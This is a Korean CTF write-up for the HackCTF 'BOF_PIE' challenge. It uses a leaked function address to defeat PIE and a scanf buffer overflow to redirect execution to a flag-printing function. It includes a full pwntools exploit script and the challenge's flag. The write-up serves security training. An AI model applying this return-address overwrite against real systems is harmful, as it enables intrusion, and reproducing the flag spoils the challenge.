WriteUp/HackCTF

[HackCTF] BOF_PIE

d2n0s4ur 2021. 8. 21. 01:14

 

 

NX : Shellcode 실행 X

PIE : 메모리 주소 랜덤화

→BOF로 문제를 풀어보자.

 

 

 

메인함수는 되게 간단하다. welcome()도 IDA로 까보겠다.

 

 

 

 

welcome함수의 위치를 출력하고 v1에 입력을 받는모습.

retrun에 있는 scanf에서 BOF가 일어난다.

IDA로 어떤 함수가 있는지 보던 중 j0n9hyun이라는 함수를 발견했다.

 

 

 

이 함수가 FLAG를 출력하는 함수인 것 같다.

 

이번 문제에는 PIE가 걸려있지만 앞서 welcome()에서 welcome()함수의 위치를 알려준다.

즉, 함수들 간의 offset을 구해서 j0n9hyun()의 위치를 파악하고, BOF로 ret에 j0n9hyun()의 주소를 덮어주면 될 것 같다.

 

offset은 gdb를 통해서 간단하게 구할 수 있다.

 

 

exploit을 짜보자.

 

from pwn import *

p = process('./bof_pie')
# p = remote("ctf.j0n9hyun.xyz", 3008)

welcome_offset = 0x909
j0n9hyun_offset = 0x890

p.recvuntil("j0n9hyun is ")

welcome = p.recvline()[:-1]
welcome = int(welcome,16)

function_base = welcome - welcome_offset
j0n9hyun = function_base + j0n9hyun_offset

payload = ''
payload += 'A'*18
payload += 'B'*4
payload += p32(j0n9hyun)

p.sendline(payload)

p.interactive()

 

 

정상적으로 j0n9hyun()이 실행된다.

 

 

 

 

FLAG : HackCTF{243699563792879976364976468837}

반응형